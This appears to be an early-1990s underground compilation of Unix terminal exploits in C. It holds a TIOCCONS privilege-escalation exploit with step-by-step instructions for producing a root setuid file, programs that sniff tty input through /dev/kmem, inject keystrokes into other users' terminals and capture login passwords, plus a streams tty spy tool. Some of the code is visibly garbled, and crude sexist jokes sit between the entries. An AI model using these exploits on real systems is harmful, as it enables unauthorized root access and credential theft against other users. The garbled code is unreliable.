if (pgrp < 0) {
perror("getpgrp");
goto done;
}
if (ioctl(0, TIOCSPGRP, &pgrp)) {
perror("ttyspgrp");
goto done;
}
if (setpgrp(0, pgrp)) {
perror("spgrp");
goto done;
}
if (ioctl(0, TIOCSTI, cp)) {
perror("sti");
goto done;
}
}

done: ioctl(0, TIOCSETN, &sb);
}

------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================

A new song by Nirvana: Smells Like Gene Spafford!

==============================================================================
bugntrig.c 4.cb.15.01 04/04/92
------------------------------------------------------------------------------
DATA:

Here you have the code for two nice programs. bug.c and trig.c.

It polls bugid#1008324, the well-known TIOCCONS bug.
I take no responsibility for the problems on your system
that might occur after you have run these programs.

********************************************************************
*Please do understand that if the wrong user get his hands on these*
*programs, he'll get root-priviliges!!!!!! *
********************************************************************

1) Compile bug.c
2) Compile trig.c
3) Move trig to /tmp
4) Run bug (it will wait until sameone is using the console
5) Log in as root on the real console
6) Give some commands on the console
7) Root will be logged out of the console
8) You will have a file, owned by root, chmod 4711, named /tmp/testfile
9) Maybe you have to kill -HUP the getty on the console
  
to force
the console to work again.
10) Be sure to remove testfil, bug and trig.

bug.c:

#include <sys/types.h>
#include <sys/stat.h>
#include <termios.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <stdio.h>

static void thething()
{
alarm(5);
}

static struct sigvec sigge = {
thething,
sigmask(SIGALRM),
SV_INTERRUPT
};

main()
{
int m,s;
char buf[1024];
char *l;
time_t yesterday;
struct stat devcon;

/* The last pty on the system */
static char lastpty[]="/dev/ptyvf";

/* The name of the program "trig" */
static char horrible[] = ";/tmp/trig;exit\n";

sigvec(SIGALRM,&sigge,0);
if(stat("/dev/console",&devcon) == -1) {
perror("/dev/console");
exit(1);
}
yesterday=devcon.st_atime;
if((m=open(lastpty,O_RDWR)) == -1) {
perror(lastpty);
exit(1);
}

lastpty[5]='t';
if((s=open(lastpty,O_RDWR)) == -1) {
perror(lastpty);
exit(1);
}

/* Ok, now get total control of the console */
if(ioctl(s,TIOCCONS) == -1) {
perror("TIOCONS");
exit(1);
}
alarm(5);

/* Wait until the console is used */
do {
if (read(m,buf,sizeof buf)<0 && errno!=EINTR)
return 1;
stat("/dev/console",&devcon);
} while (devcon.st_atime==yesterday);

/* Do the ugly stuff */
alarm(0);
switch (fork()) {
case -1:
return 1;
case 0:
alarm(10);
while (read(m,buf,sizeof buf)>0)
;
break;
default:
/* In the main process, put the "horrible" command on the console */
for (l=horrible; *l; l++)
if (write(m,l,1)==-1)
break;
while (wait(0)<=0)
;
}
return 0;
}

trig.c:

#include <termios.h>
#include <fcntl.h>

int main(argc,argv,envp)
int argc;
char **argv,**envp;
{
int s;

s=open("/dev/console",O_WRONLY);
ioctl(s,TIOCCONS);
close(s);
/* Change this to a nice directory ... */
chdir("/tmp");
chown("testfil",0,0);
chmod("testfil",04711); /* Oops, here we go... */
return 0;
}

------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================

If women are so independant, why do they go to the bathroom in pairs?

==============================================================================
readtty.c 4.cb.15.02 04/04/92
------------------------------------------------------------------------------
DATA:

#include <stdio.h>
#include <sys/ttyio.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>

/**
**/


#defineNDZ1/* DZ's and DH's have to be mapped into */
#defineNDH2/* your own hardware*/
#define NPT2/* number of pty controllers*/
#defineDZ111/* major device number of the dz11*/
#defineDH1133/* major device number of the dh11*/
#define PTY20/* major device number of the ptys*/
#defineDZ_X8/* eight lines per dz11*/
#defineDH_X16/* sixteen lines per dh11*/
#define PT_X16/* sixteen lines per pty controller*/

#undefmajor()/* need to do this because of kernel*/
#undefminor()/* macros used to strip off device #'s */

static struct nlist nl[2];

static char *name_list[] = {
"_dz_tty",/* base address of the dz tty structures*/
"_dhu11" ,/* same for the dh's*/
"_pt_tty",/* pseudo-ttys*/
0
};

main(argc , argv)
char **argv;
int argc;
{
/********************************/
int major;/* place to hold major #*/
int minor;/* place to hold minor #*/
int board_type;/* tells me which kind of tty */
int fd;/* fd for memory*/
long offset;/* how far into the above tables*/
struct tty ttyb;/* place to put the tty buffer*/
extern char *calloc();/* our friend calloc*/

get_args(&major , &minor , argc , argv);
check_args(major , minor , &board_type , argv);
get_name_list(board_type , argv);
open_memory(&fd , argv);
{
char *p;/* blank out argument list */

for (p = argv[1]; *p != '\0'; p++) *p = '\0';
for (p = argv[2]; *p != '\0'; p++) *p = '\0';
}
offset = minor * sizeof(struct tty);
fflush(stdout);
fflush(stdout);
while (1) {
read_tty(fd , nl[0].n_value , offset , &ttyb);
get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
}
}

/**
***Much monkeying around was done before I settled on this
***procedure. I attempted to follow the c_next pointers in
***the individual cblocks. This is friutless since by the
***time we do the second seek and read the information has
***been whisked away.
***
***So - The LIMITATIONS of this routine are:
***
***cannot read from any tty in RAW mode
***can only snarf first 28 characters (ie
***the first cblock)
***
***Nice things about this routine:
***
***only NEW characters are echoed to the output
***(eg characters in the cblock which have been
***seen before are swallowed).
**/

get_clist(fd , cl)
register struct clist *cl;
{
static char c[CBSIZE];
static char *old_start = 0 , *old_finish = 0;
static int old_i = 0;
char *pntr;
int tn , in;

if ((cl->c_cc > 0) &&
((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
pntr = c;
lseek(fd , (long) cl->c_cf , 0);
read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
if (old_start == cl->c_cf) {
in -= old_i;
pntr += old_i;
}
if (in > 0) while (in--) putchar(*(pntr++));
else if (in < 0) while (in++) putchar('\010');
fflush(stdout);
old_i = tn;
old_start = cl->c_cf;
old_finish = cl->c_cl;
}
if (cl->c_cc <= 0) {
if (old_i != 0) putchar('\n');
old_i = (int) NULL;
old_start = old_finish = NULL;
}
}


read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
{
register int i;

lseek(fd , base + offset , 0);
i = read(fd , buffer , sizeof(struct tty));
if (i != sizeof(struct tty)) {
printf("unexpected return from read\n");
printf("should have been %d\n" , sizeof(struct tty));
printf("was %d\n" , i);
exit(0);
}
}

open_memory(fd , argv)
int *fd;
char **argv;
{
if ((*fd = open("/dev/kmem" , 0)) < 0) {
perror(argv[0]);
exit(0);
}
}

get_name_list(index,argv)
int index;
char **argv;
{
nl[0].n_name = name_list[index];
nlist("/vmunix" , nl);
if (! nl[0].n_type) {
printf("%s: couldn't get name list\n" , argv[0]);
exit(0);
}
printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
}

get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
{
if (argc != 3) {
fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]);
exit(0);
}
*major = atoi(argv[1]);
*minor = atoi(argv[2]);
printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);
}

check_args(major , minor , board , argv)
char **argv;
int *board;
{
if (minor < 0) {
bad_minor:printf("%s: bad minor device number\n" , argv[0]);
exit(0);
}
switch (major) {

case DZ11:
if (minor >= NDZ * DZ_X) goto bad_minor;
printf("DZ11 - Unit %d\n" , minor / DZ_X);
*board = 0;
break;

case DH11:
if (minor >= NDH * DH_X) goto bad_minor;
printf("DH11 - Unit %d\n" , minor / DH_X);
*board = 1;
break;

case PTY:
if (minor >= NPT * PT_X) goto bad_minor;
printf("PTY - Unit %d\n" , minor / PT_X);
*board = 2;
break;

default:
printf("%s: bad major device number\n" , argv[0]);
exit(0);
}
}

------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================

If men are interested in only one thing, why do we like beer so much?

==============================================================================
stufftty.c 4.cb.15.03 04/04/92
------------------------------------------------------------------------------
DATA:
Terminals
=========
Under 4.2BSD and it's derivatives, a user can "write" on another users
terminal as if he was really there. Here is some code I call "stuff"
to show off this nasty bug.
/*
* Stuff: program to stuff input into another terminal.
*
* This program bypasses the normal superuser check for stuffing chars
* into other people's terminals. All you need is write permission on
* the user's terminal.
*/

#include <sgtty.h>
#include <stdio.h>

main(argc, argv)
char **argv;
{
register int fd; /* file descriptor */
char ch; /* current character */
char name[100]; /* tty name */
struct sgttyb sb; /* old and new tty flags */
struct sgttyb nsb;

if (argc < 2)
{
fprintf(stderr, "stuff ttyname\n");
exit(1);
}
argv++;
if (**argv == '/')
strcpy(name, *argv); /* build full name */
else
sprintf(name, "/dev/%s", *argv);

if (setpgrp(0, 0)) /* clear my process group */
{
perror("spgrp");
goto done;
}

if (open(name, 1) < 0) /* open tty, making it mine */
{
perror(name);
exit(1);
}

fd = open("/dev/tty", 2); /* open read/write as tty */

if (fd < 0)
{
perror("/dev/tty");
exit(1);
}

ioctl(0, TIOCGETP, &sb); /* go to raw mode */
nsb = sb;
nsb.sg_flags |= RAW;
nsb.sg_flags &= ~ECHO;
ioctl(0, TIOCSETN, &nsb);
sigsetmask(-1); /* stop hangups */
printf("Connected. Type ^B to exit\r\n");
while (1)
{
if (read(0, &ch, 1) <= 0) break;
if ((ch & 0x7f) == '\002') break;
if (ioctl(fd, TIOCSTI, &ch)) /* stuff char on "his" tty */
{
perror("\r\nsti failed\r");
goto done;
}
ch &= 0x7f; /* echo it for me */
if (ch < ' ')
{
if ((ch == '\r') || (ch == '\n'))
{
write(1, "\r\n", 2);
continue;
}
ch += '@';
write(1, "^", 1);
write(1, &ch, 1);
continue;
}
if (ch == '\177') {
write(1, "^?", 2);
continue;
}
write(1, &ch, 1);
}

done: ioctl(0, TIOCSETN, &sb); /* reset tty */
}

------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================

This is not for the timid, shy, moralistically superior, easily offended,
religous types, system administrators, old foggies, EFF members...etc

==============================================================================
tty-spy1: cover.c 4.cb.15.04 04/04/92
------------------------------------------------------------------------------
DATA:

From: fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta)
Newsgroups: alt.security,alt.sources,comp.unix.internals
Subject: BSD tty security - an example
Message-ID: <15678@life.ai.mit.edu>
Date: 8 May 91 09:59:14 GMT

Here's a small program I wrote a while back. It speaks for itself,
compile it, run it in the background (with &) and sit back.
This program is an official release of the TimeWasters from HOLLAND !

---


/************************************************************************/
/* cover.c, version 2.5, Copyright (C) 1991 by WasteWare. */
/* Unauthorized use and reproduction prohibited. */
/* This program monitors the login process and records its findings. */
/************************************************************************/


#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>

#define DEBUG 1 /* Enable additional debugging info (needed!) */
#define USLEEP /* Define this if your UNIX supports usleep() */

#ifdef ULTRIX
#define TCGETS TCGETP/* Get termios structure */
#define TCSETS TCSANOW/* Set termios structure */
#endif


handler(signal)
int signal; /* signalnumber */
{ /* do nothing, ignore the signal */
if(DEBUG) printf("Ignoring signal %d\n",signal);
}

int readandpush(f,string)
FILE *f;
char *string;
{
char *cp,*result;
int e;
struct termios termios;

result=fgets(string,20,f); /* Read a line into string */
if (result==NULL)
{perror("fgets()");
return(1);
}
if (DEBUG)
{printf("String: %s\n",string);
fflush(stdout);
}

ioctl(0,TCGETS,&termios);/* These 3 lines turn off input echo */
/* echo = (termios.c_lflag & ECHO);*/
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
ioctl(0,TCSETS,&termios);

for (cp=string;*cp;cp++) /* Push it back as input */
{ e=ioctl(0,TIOCSTI,cp);
if(e<0)
{perror("ioctl()");
return(1);
}
}
return(0);
}

main(argc,argv)
int argc;
char *argv[];
{
/* variables */
int err;
FILE *f;
char *term = "12345678901234567890";
char *login = "12345678901234567890";
char *password = "12345678901234567890";

if (argc < 2)
{ printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",arg]);
printf("Enter ttyname: ");
gets(term);
}
else term=argv[argc-1];

signal(SIGQUIT,handler);
signal(SIGINT,handler);
signal(SIGTERM,handler);
signal(SIGHUP,handler);
signal(SIGTTOU,handler);

close(0); /* close stdin */
#ifdef ULTRIX
if(setpgrp(0,100)==-1)
perror("setpgrp:"); /* Hopefully this works */
#else
if(setsid()==-1)
perror("setsid:"); /* Disconnect from our controlling TTY and
start a new session as sessionleader */
#endif
f=fopen(term,"r"); /* Open tty as a stream, this guarantees
getting file descriptor 0 */
if (f==NULL)
{ printf("Error opening %s with fopen()\n",term);
exit(2);
}
if (DEBUG) system("ps -xu>>/dev/null &");
fclose(f); /* Close the TTY again */
f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
if (f==NULL)
{ printf("Error opening /dev/tty with fopen()\n",term);
exit(2);
}

if(readandpush(f,login)==0)
{
#ifdef USLEEP
usleep(20000);/* This gives login(1) a chance to read the
string, or the second call would read the
input that the first call pushed back ! /*
#else
for(i=0;i<1000;i++)
err=err+(i*i)
/* error/* Alternatives not yet implemented */
#endif
readandpush(f,password);
printf("Result: First: %s Second: %s\n",login,password);
}

fflush(stdout);
sleep(30); /* Waste some time, to prevent that we send a SIGHUP
to login(1), which would kill the user. Instead,
wait a while. We then send SIGHUP to the shell of
the user, which will ignore it. */
fclose(f);
}

From: urban@cbnewsl.att.com (john.urban)
Newsgroups: alt.security,alt.sources,comp.unix.internals
Subject: Re: BSD tty security - an example
Message-ID: <1991May9.182941.16988@cbnewsl.att.com>
Date: 9 May 91 18:29:41 GMT

In article <15678@life.ai.mit.edu> fidelio@geech.gnu.ai.mit.edu (Rob J. Nauta) writes:
>Here's a small program I wrote a while back. It speaks for itself,
>compile it, run it in the background (with &) and sit back.
>This program is an official release of the TimeWasters from HOLLAND !
>
>---
> close(0); /* close stdin */
>#ifdef ULTRIX
>if(setpgrp(0,100)==-1)
>perror("setpgrp:"); /* Hopefully this works */
>#else
>if(setsid()==-1)
>perror("setsid:"); /* Disconnect from our controlling TTY and
> start a new session as sessionleader */
>#endif
> f=fopen(term,"r"); /* Open tty as a stream, this guarantees
> getting file descriptor 0 */
> if (f==NULL)
> { printf("Error opening %s with fopen()\n",term);
> exit(2);
> }
>if (DEBUG) system("ps -xu>>/dev/null &");
> fclose(f); /* Close the TTY again */
> f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
> if (f==NULL)
> { printf("Error opening /dev/tty with fopen()\n",term);
> exit(2);
> }

This program does not exhibit the problem on AT&T UNIX System V/386 Release 4.0
Version 2.[01]. The fopen of "/dev/tty" fails because the setsid() passed
successfully.

In this small program:
# cat T.c
main()
{
setsid();
fopen("/dev/tty", "r");
}
# make T
cc -O T.c -o T
# truss ./T

You'll see the fopen fails w/ ENXIO. If the setsid() is removed, then the
fopen passes fine.


Sincerely,

John Ben Urban

------------------------------------------------------------------------------
Comments: Buggy and needs some clean up work. Someone please submit a re-do.
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================

There's something about a beautiful woman without a brain in her head that
can still be exciting...

==============================================================================
tty-spy2 4.cb.15.05 04/04/92
------------------------------------------------------------------------------
DATA:

From: ag@cbmvax.commodore.com (Keith Gabryelski)
Newsgroups: alt.sources
Subject: advise (spy) for streams ttys.
Message-ID: <15193@cbmvax.commodore.com>
Date: 16 Oct 90 23:26:25 GMT

The included source code includes

advise.c# a user program to interact with
# the advise device and module.

advisedev.c# the advise device driver.
# (requests to attach to a users terminal
# are done through this device)

advisemod.c# the advise module.
# (this module is pushed onto the advisee's
# tty stream so advisedev may attach to
# it.)

advisemod.h# useful header file.

COPYING Makefile# Other files.

Pax, Keith

Ps, This will only work under System V Release 4.0 streams ttys.

With little effort it could be made to work under other streams
tty subsystems.

No amount of effort (save re-thinking and re-implimenting) will
make this thing work on non-streams based ttys.

#! /bin/sh
# This is a shell archive, meaning:
# 1. Remove everything above the #! /bin/sh line.
# 2. Save the resulting text in a file.
# 3. Execute the file with /bin/sh (not csh) to create the files:
#COPYING
#Makefile
#advise.c
#advise.man
#advisedev.c
#advisemod.c
#advisemod.h
# This archive created: Tue Oct 16 19:15:42 1990
export PATH; PATH=/bin:$PATH
if test -f 'COPYING'
then
echo shar: will not over-write existing file "'COPYING'"
else
cat << \SHAR_EOF > 'COPYING'

Advise GENERAL PUBLIC LICENSE
(Clarified 11 Feb 1988)

Copyright (C) 1988 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license, but changing it is not allowed. You can also
use this wording to make the terms for other programs.

The license agreements of most software companies keep you at the
mercy of those companies. By contrast, our general public license is
intended to give everyone the right to share Advise. To make sure that
you get the rights we want you to have, we need to make restrictions
that forbid anyone to deny you these rights or to ask you to surrender
the rights. Hence this license agreement.

Specifically, we want to make sure that you have the right to give
away copies of Advise, that you receive source code or else can get it
if you want it, that you can change Advise or use pieces of it in new
free programs, and that you know you can do these things.

To make sure that everyone has such rights, we have to forbid you to
deprive anyone else of these rights. For example, if you distribute
copies of Advise, you must give the recipients all the rights that you
have. You must make sure that they, too, receive or can get the
source code. And you must tell them their rights.

Also, for our own protection, we must make certain that everyone
finds out that there is no warranty for Advise. If Advise is modified by
someone else and passed on, we want its recipients to know that what
they have is not what we distributed, so that any problems introduced
by others will not reflect on our reputation.

Therefore we (Richard Stallman and the Free Software Foundation,
Inc.) make the following terms which say what you must do to be
allowed to distribute or change Advise.


COPYING POLICIES

1. You may copy and distribute verbatim copies of Advise source code
as you receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy a valid copyright notice "Copyright
(C) 1988 Free Software Foundation, Inc." (or with whatever year is
appropriate); keep intact the notices on all files that refer to this
License Agreement and to the absence of any warranty; and give any
other recipients of the Advise program a copy of this License
Agreement along with the program. You may charge a distribution fee
for the physical act of transferring a copy.

2. You may modify your copy or copies of Advise or any portion of it,
and copy and distribute such modifications under the terms of
Paragraph 1 above, provided that you also do the following:

a) cause the modified files to carry prominent notices stating
that you changed the files and the date of any change; and

b) cause the whole of any work that you distribute or publish,
that in whole or in part contains or is a derivative of Advise or
any part thereof, to be licensed at no charge to all third
parties on terms identical to those contained in this License
Agreement (except that you may choose to grant more extensive
warranty protection to some or all third parties, at your option).

c) You may charge a distribution fee for the physical act of
transferring a copy, and you may at your option offer warranty
protection in exchange for a fee.

Mere aggregation of another unrelated program with this program (or its
derivative) on a volume of a storage or distribution medium does not bring
the other program under the scope of these terms.

3. You may copy and distribute Advise (or a portion or derivative of it,
under Paragraph 2) in object code or executable form under the terms of
Paragraphs 1 and 2 above provided that you also do one of the following:

a) accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of
Paragraphs 1 and 2 above; or,

b) accompany it with a written offer, valid for at least three
years, to give any third party free (except for a nominal
shipping charge) a complete machine-readable copy of the
corresponding source code, to be distributed under the terms of
Paragraphs 1 and 2 above; or,

c) accompany it with the information you received as to where the
corresponding source code may be obtained. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form alone.)

For an executable file, complete source code means all the source code for
all modules it contains; but, as a special exception, it need not include
source code for modules which are standard libraries that accompany the
operating system on which the executable file runs.

4. You may not copy, sublicense, distribute or transfer Advise
except as expressly provided under this License Agreement. Any attempt
otherwise to copy, sublicense, distribute or transfer Advise is void and
your rights to use the program under this License agreement shall be
automatically terminated. However, parties who have received computer
software programs from you with this License Agreement will not have
their licenses terminated so long as such parties remain in full compliance.

5. If you wish to incorporate parts of Advise into other free programs
whose distribution conditions are different, write to the Free Software
Foundation at 675 Mass Ave, Cambridge, MA 02139. We have not yet worked
out a simple rule that can be stated here, but we will often permit this.
We will be guided by the two goals of preserving the free status of all
derivatives of our free software and of promoting the sharing and reuse of
software.

Your comments and suggestions about our licensing policies and our
software are welcome! Please contact the Free Software Foundation, Inc.,
675 Mass Ave, Cambridge, MA 02139, or call (617) 876-3296.

NO WARRANTY

BECAUSE ADVISE IS LICENSED FREE OF CHARGE, WE PROVIDE ABSOLUTELY NO
WARRANTY, TO THE EXTENT PERMITTED BY APPLICABLE STATE LAW. EXCEPT
WHEN OTHERWISE STATED IN WRITING, FREE SOFTWARE FOUNDATION, INC,
RICHARD M. STALLMAN AND/OR OTHER PARTIES PROVIDE ADVISE "AS IS" WITHOUT
WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND
PERFORMANCE OF ADVISE IS WITH YOU. SHOULD ADVISE PROVE DEFECTIVE, YOU
ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL RICHARD M.
STALLMAN, THE FREE SOFTWARE FOUNDATION, INC., AND/OR ANY OTHER PARTY
WHO MAY MODIFY AND REDISTRIBUTE GNU SEND AS PERMITTED ABOVE, BE LIABLE TO
YOU FOR DAMAGES, INCLUDING ANY LOST PROFITS, LOST MONIES, OR OTHER
SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR
INABILITY TO USE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA
BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY THIRD PARTIES OR A
FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS) GNU SEND, EVEN
IF YOU HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR
ANY CLAIM BY ANY OTHER PARTY.
SHAR_EOF
fi # end of overwriting check
if test -f 'Makefile'
then
echo shar: will not over-write existing file "'Makefile'"
else
cat << \SHAR_EOF > 'Makefile'
# Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)
#
# This file is part of advise.
#
# advise is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY. No author or distributor
# accepts responsibility to anyone for the consequences of using it
# or for whether it serves any particular purpose or works at all,
# unless he says so in writing. Refer to the advise General Public
# License for full details.
#
# Everyone is granted permission to copy, modify and redistribute
# advise, but only under the conditions described in the
# advise General Public License. A copy of this license is
# supposed to have been given to you along with advise so you
# can know your rights and responsibilities. It should be in a
# file named COPYING. Among other things, the copyright notice
# and this notice must be preserved on all copies. */
#
# Author:Keith Gabryelski(ag@amix.commodore.com)
#

CC=gcc
CFLAGS=-O

all: advise

advise.o: advisemod.h
SHAR_EOF
fi # end of overwriting check
if test -f 'advise.c'
then
echo shar: will not over-write existing file "'advise.c'"
else
cat << \SHAR_EOF > 'advise.c'
/* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com)

This file is part of advise.

advise is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY. No author or distributor
accepts responsibility to anyone for the consequences of using it
or for whether it serves any particular purpose or works at all,
unless he says so in writing. Refer to the advise General Public
License for full details.

Everyone is granted permission to copy, modify and redistribute
advise, but only under the conditions described in the
advise General Public License. A copy of this license is
supposed to have been given to you along with advise so you
can know your rights and responsibilities. It should be in a
file named COPYING. Among other things, the copyright notice
and this notice must be preserved on all copies. */

/*
** Author:Keith Gabryelski(ag@amix.commodore.com)
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <poll.h>
#include <sys/stream.h>
#include <errno.h>
#include <utmp.h>
#include <pwd.h>
#include <termios.h>
#include <string.h>
#include <ctype.h>
#include "advisemod.h"

extern char *optarg;

#define max(a,b) ((a)>(b)?(a):(b))

static struct module_list
{
char *name;/* name of module */
struct module_list *next;/* next module to be pushed */
} advise_module_list =
{
"advise", NULL,
};

static void usage(void), advise(char *);
static char *strchar(char);
static struct module_list *list_modules(int, char *);

static int allow_deny_p, allow_deny;
static int allow_advise_p, allow_advise;
static int error_flag;
static int secret, spy;
static int meta_character = '~';
static char *progname;
static char *module = "ldterm";

int
main(int argc, char **argv)
{
int c, error = 0;
struct termios termios;
struct module_list *modules;

progname = *argv;

while((c = getopt(argc, argv, "ADM:Sadm:s?")) != EOF)
{
switch(c)
{
case 's':
spy++;
break;

case 'S':
if (!getuid())
secret++;
break;

case 'a':
allow_deny_p++;
allow_deny=ADVISE_ALLOW;
allow_advise_p++;
allow_advise++;
break;

case 'd':
allow_advise_p++;
allow_advise=0;
break;

case 'A':
allow_deny_p++;
allow_deny=ADVISE_ALLOW;
break;

case 'D':
allow_deny_p++;
allow_deny=ADVISE_DENY;
break;

case 'm':
meta_character = optarg[0];
break;

case 'M':
module = optarg;
break;

case '?':
error_flag++;
break;
}

if (error_flag)
{
usage();
}
}

if (allow_advise_p)
{
int status = ioctl(0, ADVISE_STATUS, &status);

if (allow_advise && status)
{
int advise_module_pushed = 0;

/* Push advise module on stream */
(void) ioctl(0, TCGETS, &termios);

modules = list_modules(0, module);

advise_module_list.next = modules;

for (modules = &advise_module_list;
modules != NULL;
modules = modules->next)
{

if (!strcmp(modules->name, "advise"))
{
if (advise_module_pushed)
continue;

advise_module_pushed = 1;
}

if (ioctl(0, I_PUSH, modules->name))
{
(void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n",
progname, modules->name, strerror(errno));
error++;
}
}

(void) ioctl(0, TCSETS, &termios);
}

if (!allow_advise && !status)
{
(void) ioctl(0, TCGETS, &termios);

modules = list_modules(0, "advise");

while (modules != NULL)
{
if (strcmp(modules->name, "advise"))
{
if (ioctl(0, I_PUSH, modules->name))
{
(void) fprintf(stderr,
"%s: Couldn't I_PUSH: %s (%s).\n",
progname, modules->name,
strerror(errno));
error++;
}
}

modules = modules->next;
}

(void) ioctl(0, TCSETS, &termios);
}

if (!allow_deny_p)
return error ? 1 : 0;
}

if (allow_deny_p)
{
if (ioctl(0, allow_deny, 0))
{
if (errno == EINVAL)
{
(void) fprintf(stderr, "%s: module \"advise\" not in stream.\n",
progname);
}
else
{
(void) fprintf(stderr, "%s: Couldn't set advisory mode (%s).\n",
progname, strerror(errno));
}

return 1;
}

return 0;
}

/* All switches have been handled */

argc -= optind;
argv += optind;

if (argc > 1)
{
usage();
}

if (argc == 0)
{
int status;

/*
** Status of advise.
*/

if (ioctl(0, ADVISE_STATUS, &status))
{
printf("Module \"advise\" not pushed on stream.\n");
}
else
{
printf("Advise access %s\n", status ? "allowed" : "denied");
}

return 0;
}

advise(*argv);

return 0;
}

void
usage()
{
(void) fprintf(stderr, "usage: %s [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]\n progname);
exit(1);
}

static void
advise(char *who)
{
int ret, fd, metad=0;
char buf[1024], *device, *devname, *login_name, *tty_name;
struct pollfd pfds[2];
struct termios termios, oldtermios;
struct stat stbuf;
struct utmp *ut, uts;
char username[sizeof(ut->ut_name) + 1];

username[0] = '\0';

if (*who == '/') /* full path name */
device = who;
else
{
/* Either this is /dev/ + who OR a username */

setutent();

while ((ut = getutent()) != NULL)
{
if (!strncmp(who, ut->ut_name, sizeof(ut->ut_name)))
{
device = (char *)malloc(sizeof("/dev/") +
sizeof(ut->ut_name));

if (device == NULL)
{
(void) fprintf(stderr,
"%s: malloc failed (Out of Memory)\n",
progname);

exit(1);
}

strcpy(device, "/dev/");
strncat(device, ut->ut_name, sizeof(ut->ut_name));
device[sizeof("/dev/")+sizeof(ut->ut_name)] = '\0';

strncpy(username, ut->ut_name, sizeof(ut->ut_name));
username[sizeof(ut->ut_name)] = '\0';
break;
}
}

if (ut == NULL) /* Is /dev/ + who */
{
device = (char *)malloc(sizeof("/dev/") + strlen(who));

if (device == NULL)
{
(void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n",
progname);

exit(1);
}

strcpy(device, "/dev/");
strcat(device, who);
}

endutent();
}

devname = device + sizeof("/dev/") - 1;

if (username[0] == '\0')
{
setutent();

strncpy(uts.ut_line, devname, sizeof(uts.ut_line));

if ((ut = getutline(&uts)) != NULL)
{
strncpy(username, ut->ut_name, sizeof(ut->ut_name));
username[sizeof(ut->ut_name)] = '\0';
}
else
{
strcpy(username, "unknown");
}

endutent();
}

if (stat(device, &stbuf) < 0)
{
if (errno == ENOENT)
{
(void) fprintf(stderr, "%s: no advisee device: , spy ? "spying" : "advising", username, devname) data.len = strlen(str);
data.buf = str;

(void) putmsg(fd, &ctl, &data, 0);

free(str);
}
}


if (!spy)
{
(void) ioctl(0, TCGETS, &termios);

oldtermios = termios;
termios.c_cc[VMIN] = 1;
termios.c_cc[VTIME] = 0;
termios.c_lflag &= ~(ISIG|ICANON|ECHO);

(void) ioctl(0, TCSETS, &termios);
}

pfds[0].fd = fd;
pfds[0].events = POLLIN;

pfds[1].fd = 0;
pfds[1].events = POLLIN;

for (;;)
{
if (poll(pfds, 2, INFTIM) < 0)
continue;

if ((pfds[0].revents&POLLIN) != 0) /* data from advisee ready */
{
if ((ret = read(fd, buf, sizeof(buf))) > 0)
write(1, buf, ret);
}

if ((pfds[1].revents&POLLIN) != 0) /* data from advisor ready */
{
if ((ret = read(0, buf, sizeof(buf))) > 0)
{
if (!spy)
{
register int i;
register char *p = buf, *pp=buf;

for (i=0; i < ret; ++i, p++)
{
if (metad)
{
if (metad == 2)
{
meta_character = *p;
printf("The meta character is now: %s\n",
strchar(meta_character));
pp++;
metad = 0;
continue;
}

switch (*p)
{
case '=':
metad=2;
pp++;
break;

case '?':
{
char *escstr = strchar(meta_character);

printf("Help for meta character <%s>:\n",
escstr);
printf("%s?\t-- This help message.\n", escstr);
printf("%s~\t-- Send a single meta character.\n",
escstr);
printf("%s.\t-- Disconnect advise session.\n",
escstr);
printf("%s=C\t-- Change meta character to C.\n",
escstr);
printf("%s^Z\t-- Suspend advise session.\n",
escstr);
pp++;
metad=0;
break;
}

case '.':
{
if (!secret)
{
char *str;

str = malloc(strlen(login_name) +
strlen(tty_name) +
